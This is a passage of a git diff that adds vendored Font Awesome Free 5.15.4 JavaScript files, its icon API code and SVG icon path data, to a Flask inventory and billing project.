\"progid:DXImageTransform.Microsoft.BasicImage(rotation=2)\";\n -webkit-transform: rotate(180deg);\n transform: rotate(180deg);\n}\n\n.fa-rotate-270 {\n -ms-filter: \"progid:DXImageTransform.Microsoft.BasicImage(rotation=3)\";\n -webkit-transform: rotate(270deg);\n transform: rotate(270deg);\n}\n\n.fa-flip-horizontal {\n -ms-filter: \"progid:DXImageTransform.Microsoft.BasicImage(rotation=0, mirror=1)\";\n -webkit-transform: scale(-1, 1);\n transform: scale(-1, 1);\n}\n\n.fa-flip-vertical {\n -ms-filter: \"progid:DXImageTransform.Microsoft.BasicImage(rotation=2, mirror=1)\";\n -webkit-transform: scale(1, -1);\n transform: scale(1, -1);\n}\n\n.fa-flip-both, .fa-flip-horizontal.fa-flip-vertical {\n -ms-filter: \"progid:DXImageTransform.Microsoft.BasicImage(rotation=2, mirror=1)\";\n -webkit-transform: scale(-1, -1);\n transform: scale(-1, -1);\n}\n\n:root .fa-rotate-90,\n:root .fa-rotate-180,\n:root .fa-rotate-270,\n:root .fa-flip-horizontal,\n:root .fa-flip-vertical,\n:root .fa-flip-both {\n -webkit-filter: none;\n filter: none;\n}\n\n.fa-stack {\n display: inline-block;\n height: 2em;\n position: relative;\n width: 2.5em;\n}\n\n.fa-stack-1x,\n.fa-stack-2x {\n bottom: 0;\n left: 0;\n margin: auto;\n position: absolute;\n right: 0;\n top: 0;\n}\n\n.svg-inline--fa.fa-stack-1x {\n height: 1em;\n width: 1.25em;\n}\n.svg-inline--fa.fa-stack-2x {\n height: 2em;\n width: 2.5em;\n}\n\n.fa-inverse {\n color: #fff;\n}\n\n.sr-only {\n border: 0;\n clip: rect(0, 0, 0, 0);\n height: 1px;\n margin: -1px;\n overflow: hidden;\n padding: 0;\n position: absolute;\n width: 1px;\n}\n\n.sr-only-focusable:active, .sr-only-focusable:focus {\n clip: auto;\n height: auto;\n margin: 0;\n overflow: visible;\n position: static;\n width: auto;\n}\n\n.svg-inline--fa .fa-primary {\n fill: var(--fa-primary-color, currentColor);\n opacity: 1;\n opacity: var(--fa-primary-opacity, 1);\n}\n\n.svg-inline--fa .fa-secondary {\n fill: var(--fa-secondary-color, currentColor);\n opacity: 0.4;\n opacity: var(--fa-secondary-opacity, 0.4);\n}\n\n.svg-inline--fa.fa-swap-opacity .fa-primary {\n opacity: 0.4;\n opacity: var(--fa-secondary-opacity, 0.4);\n}\n\n.svg-inline--fa.fa-swap-opacity .fa-secondary {\n opacity: 1;\n opacity: var(--fa-primary-opacity, 1);\n}\n\n.svg-inline--fa mask .fa-primary,\n.svg-inline--fa mask .fa-secondary {\n fill: black;\n}\n\n.fad.fa-inverse {\n color: #fff;\n}"; + + function css () { + var dfp = DEFAULT_FAMILY_PREFIX; + var drc = DEFAULT_REPLACEMENT_CLASS; + var fp = config.familyPrefix; + var rc = config.replacementClass; + var s = baseStyles; + + if (fp !== dfp || rc !== drc) { + var dPatt = new RegExp("\\.".concat(dfp, "\\-"), 'g'); + var customPropPatt = new RegExp("\\--".concat(dfp, "\\-"), 'g'); + var rPatt = new RegExp("\\.".concat(drc), 'g'); + s = s.replace(dPatt, ".".concat(fp, "-")).replace(customPropPatt, "--".concat(fp, "-")).replace(rPatt, ".".concat(rc)); + } + + return s; + } + + var Library = + /*#__PURE__*/ + function () { + function Library() { + _classCallCheck(this, Library); + + this.definitions = {}; + } + + _createClass(Library, [{ + key: "add", + value: function add() { + var _this = this; + + for (var _len = arguments.length, definitions = new Array(_len), _key = 0; _key < _len; _key++) { + definitions[_key] = arguments[_key]; + } + + var additions = definitions.reduce(this._pullDefinitions, {}); + Object.keys(additions).forEach(function (key) { + _this.definitions[key] = _objectSpread({}, _this.definitions[key] || {}, additions[key]); + defineIcons(key, additions[key]); + build(); + }); + } + }, { + key: "reset", + value: function reset() { + this.definitions = {}; + } + }, { + key: "_pullDefinitions", + value: function _pullDefinitions(additions, definition) { + var normalized = definition.prefix && definition.iconName && definition.icon ? { + 0: definition + } : definition; + Object.keys(normalized).map(function (key) { + var _normalized$key = normalized[key], + prefix = _normalized$key.prefix, + iconName = _normalized$key.iconName, + icon = _normalized$key.icon; + if (!additions[prefix]) additions[prefix] = {}; + additions[prefix][iconName] = icon; + }); + return additions; + } + }]); + + return Library; + }(); + + function ensureCss() { + if (config.autoAddCss && !_cssInserted) { + insertCss(css()); + + _cssInserted = true; + } + } + + function apiObject(val, abstractCreator) { + Object.defineProperty(val, 'abstract', { + get: abstractCreator + }); + Object.defineProperty(val, 'html', { + get: function get() { + return val.abstract.map(function (a) { + return toHtml(a); + }); + } + }); + Object.defineProperty(val, 'node', { + get: function get() { + if (!IS_DOM) return; + var container = DOCUMENT.createElement('div'); + container.innerHTML = val.html; + return container.children; + } + }); + return val; + } + + function findIconDefinition(iconLookup) { + var _iconLookup$prefix = iconLookup.prefix, + prefix = _iconLookup$prefix === void 0 ? 'fa' : _iconLookup$prefix, + iconName = iconLookup.iconName; + if (!iconName) return; + return iconFromMapping(library.definitions, prefix, iconName) || iconFromMapping(namespace.styles, prefix, iconName); + } + + function resolveIcons(next) { + return function (maybeIconDefinition) { + var params = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; + var iconDefinition = (maybeIconDefinition || {}).icon ? maybeIconDefinition : findIconDefinition(maybeIconDefinition || {}); + var mask = params.mask; + + if (mask) { + mask = (mask || {}).icon ? mask : findIconDefinition(mask || {}); + } + + return next(iconDefinition, _objectSpread({}, params, { + mask: mask + })); + }; + } + + var library = new Library(); + var noAuto = function noAuto() { + config.autoReplaceSvg = false; + config.observeMutations = false; + disconnect(); + }; + var _cssInserted = false; + var dom = { + i2svg: function i2svg() { + var params = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {}; + + if (IS_DOM) { + ensureCss(); + var _params$node = params.node, + node = _params$node === void 0 ? DOCUMENT : _params$node, + _params$callback = params.callback, + callback = _params$callback === void 0 ? function () {} : _params$callback; + + if (config.searchPseudoElements) { + searchPseudoElements(node); + } + + return onTree(node, callback); + } else { + return picked.reject('Operation requires a DOM of some kind.'); + } + }, + css: css, + insertCss: function insertCss$$1() { + if (!_cssInserted) { + insertCss(css()); + + _cssInserted = true; + } + }, + watch: function watch() { + var params = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {}; + var autoReplaceSvgRoot = params.autoReplaceSvgRoot, + observeMutationsRoot = params.observeMutationsRoot; + + if (config.autoReplaceSvg === false) { + config.autoReplaceSvg = true; + } + + config.observeMutations = true; + domready(function () { + autoReplace({ + autoReplaceSvgRoot: autoReplaceSvgRoot + }); + observe({ + treeCallback: onTree, + nodeCallback: onNode, + pseudoElementsCallback: searchPseudoElements, + observeMutationsRoot: observeMutationsRoot + }); + }); + } + }; + var parse = { + transform: function transform(transformString) { + return parseTransformString(transformString); + } + }; + var icon = resolveIcons(function (iconDefinition) { + var params = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; + var _params$transform = params.transform, + transform = _params$transform === void 0 ? meaninglessTransform : _params$transform, + _params$symbol = params.symbol, + symbol = _params$symbol === void 0 ? false : _params$symbol, + _params$mask = params.mask, + mask = _params$mask === void 0 ? null : _params$mask, + _params$maskId = params.maskId, + maskId = _params$maskId === void 0 ? null : _params$maskId, + _params$title = params.title, + title = _params$title === void 0 ? null : _params$title, + _params$titleId = params.titleId, + titleId = _params$titleId === void 0 ? null : _params$titleId, + _params$classes = params.classes, + classes = _params$classes === void 0 ? [] : _params$classes, + _params$attributes = params.attributes, + attributes = _params$attributes === void 0 ? {} : _params$attributes, + _params$styles = params.styles, + styles = _params$styles === void 0 ? {} : _params$styles; + if (!iconDefinition) return; + var prefix = iconDefinition.prefix, + iconName = iconDefinition.iconName, + icon = iconDefinition.icon; + return apiObject(_objectSpread({ + type: 'icon' + }, iconDefinition), function () { + ensureCss(); + + if (config.autoA11y) { + if (title) { + attributes['aria-labelledby'] = "".concat(config.replacementClass, "-title-").concat(titleId || nextUniqueId()); + } else { + attributes['aria-hidden'] = 'true'; + attributes['focusable'] = 'false'; + } + } + + return makeInlineSvgAbstract({ + icons: { + main: asFoundIcon(icon), + mask: mask ? asFoundIcon(mask.icon) : { + found: false, + width: null, + height: null, + icon: {} + } + }, + prefix: prefix, + iconName: iconName, + transform: _objectSpread({}, meaninglessTransform, transform), + symbol: symbol, + title: title, + maskId: maskId, + titleId: titleId, + extra: { + attributes: attributes, + styles: styles, + classes: classes + } + }); + }); + }); + var text = function text(content) { + var params = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; + var _params$transform2 = params.transform, + transform = _params$transform2 === void 0 ? meaninglessTransform : _params$transform2, + _params$title2 = params.title, + title = _params$title2 === void 0 ? null : _params$title2, + _params$classes2 = params.classes, + classes = _params$classes2 === void 0 ? [] : _params$classes2, + _params$attributes2 = params.attributes, + attributes = _params$attributes2 === void 0 ? {} : _params$attributes2, + _params$styles2 = params.styles, + styles = _params$styles2 === void 0 ? {} : _params$styles2; + return apiObject({ + type: 'text', + content: content + }, function () { + ensureCss(); + return makeLayersTextAbstract({ + content: content, + transform: _objectSpread({}, meaninglessTransform, transform), + title: title, + extra: { + attributes: attributes, + styles: styles, + classes: ["".concat(config.familyPrefix, "-layers-text")].concat(_toConsumableArray(classes)) + } + }); + }); + }; + var counter = function counter(content) { + var params = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; + var _params$title3 = params.title, + title = _params$title3 === void 0 ? null : _params$title3, + _params$classes3 = params.classes, + classes = _params$classes3 === void 0 ? [] : _params$classes3, + _params$attributes3 = params.attributes, + attributes = _params$attributes3 === void 0 ? {} : _params$attributes3, + _params$styles3 = params.styles, + styles = _params$styles3 === void 0 ? {} : _params$styles3; + return apiObject({ + type: 'counter', + content: content + }, function () { + ensureCss(); + return makeLayersCounterAbstract({ + content: content.toString(), + title: title, + extra: { + attributes: attributes, + styles: styles, + classes: ["".concat(config.familyPrefix, "-layers-counter")].concat(_toConsumableArray(classes)) + } + }); + }); + }; + var layer = function layer(assembler) { + var params = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; + var _params$classes4 = params.classes, + classes = _params$classes4 === void 0 ? [] : _params$classes4; + return apiObject({ + type: 'layer' + }, function () { + ensureCss(); + var children = []; + assembler(function (args) { + Array.isArray(args) ? args.map(function (a) { + children = children.concat(a.abstract); + }) : children = children.concat(args.abstract); + }); + return [{ + tag: 'span', + attributes: { + class: ["".concat(config.familyPrefix, "-layers")].concat(_toConsumableArray(classes)).join(' ') + }, + children: children + }]; + }); + }; + var api = { + noAuto: noAuto, + config: config, + dom: dom, + library: library, + parse: parse, + findIconDefinition: findIconDefinition, + icon: icon, + text: text, + counter: counter, + layer: layer, + toHtml: toHtml + }; + + var autoReplace = function autoReplace() { + var params = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {}; + var _params$autoReplaceSv = params.autoReplaceSvgRoot, + autoReplaceSvgRoot = _params$autoReplaceSv === void 0 ? DOCUMENT : _params$autoReplaceSv; + if ((Object.keys(namespace.styles).length > 0 || config.autoFetchSvg) && IS_DOM && config.autoReplaceSvg) api.dom.i2svg({ + node: autoReplaceSvgRoot + }); + }; + + function bootstrap() { + if (IS_BROWSER) { + if (!WINDOW.FontAwesome) { + WINDOW.FontAwesome = api; + } + + domready(function () { + autoReplace(); + observe({ + treeCallback: onTree, + nodeCallback: onNode, + pseudoElementsCallback: searchPseudoElements + }); + }); + } + + namespace.hooks = _objectSpread({}, namespace.hooks, { + addPack: function addPack(prefix, icons) { + namespace.styles[prefix] = _objectSpread({}, namespace.styles[prefix] || {}, icons); + build(); + autoReplace(); + }, + addShims: function addShims(shims) { + var _namespace$shims; + + (_namespace$shims = namespace.shims).push.apply(_namespace$shims, _toConsumableArray(shims)); + + build(); + autoReplace(); + } + }); + } + + bunker(bootstrap); + +}()); diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/js/all.min.js b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/js/all.min.js new file mode 100644 index 00000000..bd1bd011 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/js/all.min.js @@ -0,0 +1,3039 @@ +/*! + * Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com + * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) + */ +!function() { + "use strict"; + var c = {}, l = {}; + try { + "undefined" != typeof window && (c = window), "undefined" != typeof document && (l = document); + } catch (c) {} + var h = (c.navigator || {}).userAgent, a = void 0 === h ? "" : h, z = c, v = l, m = (z.document, + !!v.documentElement && !!v.head && "function" == typeof v.addEventListener && v.createElement, + ~a.indexOf("MSIE") || a.indexOf("Trident/"), "___FONT_AWESOME___"), e = function() { + try { + return !1; + } catch (c) { + return !1; + } + }(); + var s = z || {}; + s[m] || (s[m] = {}), s[m].styles || (s[m].styles = {}), s[m].hooks || (s[m].hooks = {}), + s[m].shims || (s[m].shims = []); + var t = s[m]; + function M(c, a) { + var l = (2 < arguments.length && void 0 !== arguments[2] ? arguments[2] : {}).skipHooks, h = void 0 !== l && l, z = Object.keys(a).reduce(function(c, l) { + var h = a[l]; + return !!h.icon ? c[h.iconName] = h.icon : c[l] = h, c; + }, {}); + "function" != typeof t.hooks.addPack || h ? t.styles[c] = function(z) { + for (var c = 1; c < arguments.length; c++) { + var v = null != arguments[c] ? arguments[c] : {}, l = Object.keys(v); + "function" == typeof Object.getOwnPropertySymbols && (l = l.concat(Object.getOwnPropertySymbols(v).filter(function(c) { + return Object.getOwnPropertyDescriptor(v, c).enumerable; + }))), l.forEach(function(c) { + var l, h, a; + l = z, a = v[h = c], h in l ? Object.defineProperty(l, h, { + value: a, + enumerable: !0, + configurable: !0, + writable: !0 + }) : l[h] = a; + }); + } + return z; + }({}, t.styles[c] || {}, z) : t.hooks.addPack(c, z), "fas" === c && M("fa", a); + } + var n = { + "500px": [ 448, 512, [], "f26e", "M103.3 344.3c-6.5-14.2-6.9-18.3 7.4-23.1 25.6-8 8 9.2 43.2 49.2h.3v-93.9c1.2-50.2 44-92.2 97.7-92.2 53.9 0 97.7 43.5 97.7 96.8 0 63.4-60.8 113.2-128.5 93.3-10.5-4.2-2.1-31.7 8.5-28.6 53 0 89.4-10.1 89.4-64.4 0-61-77.1-89.6-116.9-44.6-23.5 26.4-17.6 42.1-17.6 157.6 50.7 31 118.3 22 160.4-20.1 24.8-24.8 38.5-58 38.5-93 0-35.2-13.8-68.2-38.8-93.3-24.8-24.8-57.8-38.5-93.3-38.5s-68.8 13.8-93.5 38.5c-.3.3-16 16.5-21.2 23.9l-.5.6c-3.3 4.7-6.3 9.1-20.1 6.1-6.9-1.7-14.3-5.8-14.3-11.8V20c0-5 3.9-10.5 10.5-10.5h241.3c8.3 0 8.3 11.6 8.3 15.1 0 3.9 0 15.1-8.3 15.1H130.3v132.9h.3c104.2-109.8 282.8-36 282.8 108.9 0 178.1-244.8 220.3-310.1 62.8zm63.3-260.8c-.5 4.2 4.6 24.5 14.6 20.6C306 56.6 384 144.5 390.6 144.5c4.8 0 22.8-15.3 14.3-22.8-93.2-89-234.5-57-238.3-38.2zM393 414.7C283 524.6 94 475.5 61 310.5c0-12.2-30.4-7.4-28.9 3.3 24 173.4 246 256.9 381.6 121.3 6.9-7.8-12.6-28.4-20.7-20.4zM213.6 306.6c0 4 4.3 7.3 5.5 8.5 3 3 6.1 4.4 8.5 4.4 3.8 0 2.6.2 22.3-19.5 19.6 19.3 19.1 19.5 22.3 19.5 5.4 0 18.5-10.4 10.7-18.2L265.6 284l18.2-18.2c6.3-6.8-10.1-21.8-16.2-15.7L249.7 268c-18.6-18.8-18.4-19.5-21.5-19.5-5 0-18 11.7-12.4 17.3L234 284c-18.1 17.9-20.4 19.2-20.4 22.6z" ], + "accessible-icon": [ 448, 512, [], "f368", "M423.9 255.8L411 413.1c-3.3 40.7-63.9 35.1-60.6-4.9l10-122.5-41.1 2.3c10.1 20.7 15.8 43.9 15.8 68.5 0 41.2-16.1 78.7-42.3 106.5l-39.3-39.3c57.9-63.7 13.1-167.2-74-167.2-25.9 0-49.5 9.9-67.2 26L73 243.2c22-20.7 50.1-35.1 81.4-40.2l75.3-85.7-42.6-24.8-51.6 46c-30 26.8-70.6-18.5-40.5-45.4l68-60.7c9.8-8.8 24.1-10.2 35.5-3.6 0 0 139.3 80.9 139.5 81.1 16.2 10.1 20.7 36 6.1 52.6L285.7 229l106.1-5.9c18.5-1.1 33.6 14.4 32.1 32.7zm-64.9-154c28.1 0 50.9-22.8 50.9-50.9C409.9 22.8 387.1 0 359 0c-28.1 0-50.9 22.8-50.9 50.9 0 28.1 22.8 50.9 50.9 50.9zM179.6 456.5c-80.6 0-127.4-90.6-82.7-156.1l-39.7-39.7C36.4 287 24 320.3 24 356.4c0 130.7 150.7 201.4 251.4 122.5l-39.7-39.7c-16 10.9-35.3 17.3-56.1 17.3z" ], + accusoft: [ 640, 512, [], "f369", "M322.1 252v-1l-51.2-65.8s-12 1.6-25 15.1c-9 9.3-242.1 239.1-243.4 240.9-7 10 1.6 6.8 15.7 1.7.8 0 114.5-36.6 114.5-36.6.5-.6-.1-.1.6-.6-.4-5.1-.8-26.2-1-27.7-.6-5.2 2.2-6.9 7-8.9l92.6-33.8c.6-.8 88.5-81.7 90.2-83.3zm160.1 120.1c13.3 16.1 20.7 13.3 30.8 9.3 3.2-1.2 115.4-47.6 117.8-48.9 8-4.3-1.7-16.7-7.2-23.4-2.1-2.5-205.1-245.6-207.2-248.3-9.7-12.2-14.3-12.9-38.4-12.8-10.2 0-106.8.5-116.5.6-19.2.1-32.9-.3-19.2 16.9C250 75 476.5 365.2 482.2 372.1zm152.7 1.6c-2.3-.3-24.6-4.7-38-7.2 0 0-115 50.4-117.5 51.6-16 7.3-26.9-3.2-36.7-14.6l-57.1-74c-5.4-.9-60.4-9.6-65.3-9.3-3.1.2-9.6.8-14.4 2.9-4.9 2.1-145.2 52.8-150.2 54.7-5.1 2-11.4 3.6-11.1 7.6.2 2.5 2 2.6 4.6 3.5 2.7.8 300.9 67.6 308 69.1 15.6 3.3 38.5 10.5 53.6 1.7 2.1-1.2 123.8-76.4 125.8-77.8 5.4-4 4.3-6.8-1.7-8.2z" ], + "acquisitions-incorporated": [ 384, 512, [], "f6af", "M357.45 468.2c-1.2-7.7-1.3-7.6-9.6-7.6-99.8.2-111.8-2.4-112.7-2.6-12.3-1.7-20.6-10.5-21-23.1-.1-1.6-.2-71.6-1-129.1-.1-4.7 1.6-6.4 5.9-7.5 12.5-3 24.9-6.1 37.3-9.7 4.3-1.3 6.8-.2 8.4 3.5 4.5 10.3 8.8 20.6 13.2 30.9 1.6 3.7.1 4.4-3.4 4.4-10-.2-20-.1-30.4-.1v27h116c-1.4-9.5-2.7-18.1-4-27.5-7 0-13.8.4-20.4-.1-22.6-1.6-18.3-4.4-84-158.6-8.8-20.1-27.9-62.1-36.5-89.2-4.4-14 5.5-25.4 18.9-26.6 18.6-1.7 37.5-1.6 56.2-2 20.6-.4 41.2-.4 61.8-.5 3.1 0 4-1.4 4.3-4.3 1.2-9.8 2.7-19.5 4-29.2.8-5.3 1.6-10.7 2.4-16.1L23.75 0c-3.6 0-5.3 1.1-4.6 5.3 2.2 13.2-.8.8 6.4 45.3 63.4 0 71.8.9 101.8.5 12.3-.2 37 3.5 37.7 22.1.4 11.4-1.1 11.3-32.6 87.4-53.8 129.8-50.7 120.3-67.3 161-1.7 4.1-3.6 5.2-7.6 5.2-8.5-.2-17-.3-25.4.1-1.9.1-5.2 1.8-5.5 3.2-1.5 8.1-2.2 16.3-3.2 24.9h114.3v-27.6c-6.9 0-33.5.4-35.3-2.9 5.3-12.3 10.4-24.4 15.7-36.7 16.3 4 31.9 7.8 47.6 11.7 3.4.9 4.6 3 4.6 6.8-.1 42.9.1 85.9.2 128.8 0 10.2-5.5 19.1-14.9 23.1-6.5 2.7-3.3 3.4-121.4 2.4-5.3 0-7.1 2-7.6 6.8-1.5 12.9-2.9 25.9-5 38.8-.8 5 1.3 5.7 5.3 5.7 183.2.6-30.7 0 337.1 0-2.5-15-4.4-29.4-6.6-43.7zm-174.9-205.7c-13.3-4.2-26.6-8.2-39.9-12.5a44.53 44.53 0 0 1-5.8-2.9c17.2-44.3 34.2-88.1 51.3-132.1 7.5 2.4 7.9-.8 9.4 0 9.3 22.5 18.1 60.1 27 82.8 6.6 16.7 13 33.5 19.7 50.9a35.78 35.78 0 0 1-3.9 2.1c-13.1 3.9-26.4 7.5-39.4 11.7a27.66 27.66 0 0 1-18.4 0z" ], + adn: [ 496, 512, [], "f170", "M248 167.5l64.9 98.8H183.1l64.9-98.8zM496 256c0 136.9-111.1 248-248 248S0 392.9 0 256 111.1 8 248 8s248 111.1 248 248zm-99.8 82.7L248 115.5 99.8 338.7h30.4l33.6-51.7h168.6l33.6 51.7h30.2z" ], + adversal: [ 512, 512, [], "f36a", "M482.1 32H28.7C5.8 32 0 37.9 0 60.9v390.2C0 474.4 5.8 480 28.7 480h453.4c24.4 0 29.9-5.2 29.9-29.7V62.2c0-24.6-5.4-30.2-29.9-30.2zM178.4 220.3c-27.5-20.2-72.1-8.7-84.2 23.4-4.3 11.1-9.3 9.5-17.5 8.3-9.7-1.5-17.2-3.2-22.5-5.5-28.8-11.4 8.6-55.3 24.9-64.3 41.1-21.4 83.4-22.2 125.3-4.8 40.9 16.8 34.5 59.2 34.5 128.5 2.7 25.8-4.3 58.3 9.3 88.8 1.9 4.4.4 7.9-2.7 10.7-8.4 6.7-39.3 2.2-46.6-7.4-1.9-2.2-1.8-3.6-3.9-6.2-3.6-3.9-7.3-2.2-11.9 1-57.4 36.4-140.3 21.4-147-43.3-3.1-29.3 12.4-57.1 39.6-71 38.2-19.5 112.2-11.8 114-30.9 1.1-10.2-1.9-20.1-11.3-27.3zm286.7 222c0 15.1-11.1 9.9-17.8 9.9H52.4c-7.4 0-18.2 4.8-17.8-10.7.4-13.9 10.5-9.1 17.1-9.1 132.3-.4 264.5-.4 396.8 0 6.8 0 16.6-4.4 16.6 9.9zm3.8-340.5v291c0 5.7-.7 13.9-8.1 13.9-12.4-.4-27.5 7.1-36.1-5.6-5.8-8.7-7.8-4-12.4-1.2-53.4 29.7-128.1 7.1-144.4-85.2-6.1-33.4-.7-67.1 15.7-100 11.8-23.9 56.9-76.1 136.1-30.5v-71c0-26.2-.1-26.2 26-26.2 3.1 0 6.6.4 9.7 0 10.1-.8 13.6 4.4 13.6 14.3-.1.2-.1.3-.1.5zm-51.5 232.3c-19.5 47.6-72.9 43.3-90 5.2-15.1-33.3-15.5-68.2.4-101.5 16.3-34.1 59.7-35.7 81.5-4.8 20.6 28.8 14.9 84.6 8.1 101.1zm-294.8 35.3c-7.5-1.3-33-3.3-33.7-27.8-.4-13.9 7.8-23 19.8-25.8 24.4-5.9 49.3-9.9 73.7-14.7 8.9-2 7.4 4.4 7.8 9.5 1.4 33-26.1 59.2-67.6 58.8z" ], + affiliatetheme: [ 512, 512, [], "f36b", "M159.7 237.4C108.4 308.3 43.1 348.2 14 326.6-15.2 304.9 2.8 230 54.2 159.1c51.3-70.9 116.6-110.8 145.7-89.2 29.1 21.6 11.1 96.6-40.2 167.5zm351.2-57.3C437.1 303.5 319 367.8 246.4 323.7c-25-15.2-41.3-41.2-49-73.8-33.6 64.8-92.8 113.8-164.1 133.2 49.8 59.3 124.1 96.9 207 96.9 150 0 271.6-123.1 271.6-274.9.1-8.5-.3-16.8-1-25z" ], + airbnb: [ 448, 512, [], "f834", "M224 373.12c-25.24-31.67-40.08-59.43-45-83.18-22.55-88 112.61-88 90.06 0-5.45 24.25-20.29 52-45 83.18zm138.15 73.23c-42.06 18.31-83.67-10.88-119.3-50.47 103.9-130.07 46.11-200-18.85-200-54.92 0-85.16 46.51-73.28 100.5 6.93 29.19 25.23 62.39 54.43 99.5-32.53 36.05-60.55 52.69-85.15 54.92-50 7.43-89.11-41.06-71.3-91.09 15.1-39.16 111.72-231.18 115.87-241.56 15.75-30.07 25.56-57.4 59.38-57.4 32.34 0 43.4 25.94 60.37 59.87 36 70.62 89.35 177.48 114.84 239.09 13.17 33.07-1.37 71.29-37.01 86.64zm47-136.12C280.27 35.93 273.13 32 224 32c-45.52 0-64.87 31.67-84.66 72.79C33.18 317.1 22.89 347.19 22 349.81-3.22 419.14 48.74 480 111.63 480c21.71 0 60.61-6.06 112.37-62.4 58.68 63.78 101.26 62.4 112.37 62.4 62.89.05 114.85-60.86 89.61-130.19.02-3.89-16.82-38.9-16.82-39.58z" ], + algolia: [ 448, 512, [], "f36c", "M229.3 182.6c-49.3 0-89.2 39.9-89.2 89.2 0 49.3 39.9 89.2 89.2 89.2s89.2-39.9 89.2-89.2c0-49.3-40-89.2-89.2-89.2zm62.7 56.6l-58.9 30.6c-1.8.9-3.8-.4-3.8-2.3V201c0-1.5 1.3-2.7 2.7-2.6 26.2 1 48.9 15.7 61.1 37.1.7 1.3.2 3-1.1 3.7zM389.1 32H58.9C26.4 32 0 58.4 0 90.9V421c0 32.6 26.4 59 58.9 59H389c32.6 0 58.9-26.4 58.9-58.9V90.9C448 58.4 421.6 32 389.1 32zm-202.6 84.7c0-10.8 8.7-19.5 19.5-19.5h45.3c10.8 0 19.5 8.7 19.5 19.5v15.4c0 1.8-1.7 3-3.3 2.5-12.3-3.4-25.1-5.1-38.1-5.1-13.5 0-26.7 1.8-39.4 5.5-1.7.5-3.4-.8-3.4-2.5v-15.8zm-84.4 37l9.2-9.2c7.6-7.6 19.9-7.6 27.5 0l7.7 7.7c1.1 1.1 1 3-.3 4-6.2 4.5-12.1 9.4-17.6 14.9-5.4 5.4-10.4 11.3-14.8 17.4-1 1.3-2.9 1.5-4 .3l-7.7-7.7c-7.6-7.5-7.6-19.8 0-27.4zm127.2 244.8c-70 0-126.6-56.7-126.6-126.6s56.7-126.6 126.6-126.6c70 0 126.6 56.6 126.6 126.6 0 69.8-56.7 126.6-126.6 126.6z" ], + alipay: [ 448, 512, [], "f642", "M377.74 32H70.26C31.41 32 0 63.41 0 102.26v307.48C0 448.59 31.41 480 70.26 480h307.48c38.52 0 69.76-31.08 70.26-69.6-45.96-25.62-110.59-60.34-171.6-88.44-32.07 43.97-84.14 81-148.62 81-70.59 0-93.73-45.3-97.04-76.37-3.97-39.01 14.88-81.5 99.52-81.5 35.38 0 79.35 10.25 127.13 24.96 16.53-30.09 26.45-60.34 26.45-60.34h-178.2v-16.7h92.08v-31.24H88.28v-19.01h109.44V92.34h50.92v50.42h109.44v19.01H248.63v31.24h88.77s-15.21 46.62-38.35 90.92c48.93 16.7 100.01 36.04 148.62 52.74V102.26C447.83 63.57 416.43 32 377.74 32zM47.28 322.95c.99 20.17 10.25 53.73 69.93 53.73 52.07 0 92.58-39.68 117.87-72.9-44.63-18.68-84.48-31.41-109.44-31.41-67.45 0-79.35 33.06-78.36 50.58z" ], + amazon: [ 448, 512, [], "f270", "M257.2 162.7c-48.7 1.8-169.5 15.5-169.5 117.5 0 109.5 138.3 114 183.5 43.2 6.5 10.2 35.4 37.5 45.3 46.8l56.8-56S341 288.9 341 261.4V114.3C341 89 316.5 32 228.7 32 140.7 32 94 87 94 136.3l73.5 6.8c16.3-49.5 54.2-49.5 54.2-49.5 40.7-.1 35.5 29.8 35.5 69.1zm0 86.8c0 80-84.2 68-84.2 17.2 0-47.2 50.5-56.7 84.2-57.8v40.6zm136 163.5c-7.7 10-70 67-174.5 67S34.2 408.5 9.7 379c-6.8-7.7 1-11.3 5.5-8.3C88.5 415.2 203 488.5 387.7 401c7.5-3.7 13.3 2 5.5 12zm39.8 2.2c-6.5 15.8-16 26.8-21.2 31-5.5 4.5-9.5 2.7-6.5-3.8s19.3-46.5 12.7-55c-6.5-8.3-37-4.3-48-3.2-10.8 1-13 2-14-.3-2.3-5.7 21.7-15.5 37.5-17.5 15.7-1.8 41-.8 46 5.7 3.7 5.1 0 27.1-6.5 43.1z" ], + "amazon-pay": [ 640, 512, [], "f42c", "M14 325.3c2.3-4.2 5.2-4.9 9.7-2.5 10.4 5.6 20.6 11.4 31.2 16.7a595.88 595.88 0 0 0 127.4 46.3 616.61 616.61 0 0 0 63.2 11.8 603.33 603.33 0 0 0 95 5.2c17.4-.4 34.8-1.8 52.1-3.8a603.66 603.66 0 0 0 163.3-42.8c2.9-1.2 5.9-2 9.1-1.2 6.7 1.8 9 9 4.1 13.9a70 70 0 0 1-9.6 7.4c-30.7 21.1-64.2 36.4-99.6 47.9a473.31 473.31 0 0 1-75.1 17.6 431 431 0 0 1-53.2 4.8 21.3 21.3 0 0 0-2.5.3H308a21.3 21.3 0 0 0-2.5-.3c-3.6-.2-7.2-.3-10.7-.4a426.3 426.3 0 0 1-50.4-5.3A448.4 448.4 0 0 1 164 420a443.33 443.33 0 0 1-145.6-87c-1.8-1.6-3-3.8-4.4-5.7zM172 65.1l-4.3.6a80.92 80.92 0 0 0-38 15.1c-2.4 1.7-4.6 3.5-7.1 5.4a4.29 4.29 0 0 1-.4-1.4c-.4-2.7-.8-5.5-1.3-8.2-.7-4.6-3-6.6-7.6-6.6h-11.5c-6.9 0-8.2 1.3-8.2 8.2v209.3c0 1 0 2 .1 3 .2 3 2 4.9 4.9 5 7 .1 14.1.1 21.1 0 2.9 0 4.7-2 5-5 .1-1 .1-2 .1-3v-72.4c1.1.9 1.7 1.4 2.2 1.9 17.9 14.9 38.5 19.8 61 15.4 20.4-4 34.6-16.5 43.8-34.9 7-13.9 9.9-28.7 10.3-44.1.5-17.1-1.2-33.9-8.1-49.8-8.5-19.6-22.6-32.5-43.9-36.9-3.2-.7-6.5-1-9.8-1.5-2.8-.1-5.5-.1-8.3-.1zM124.6 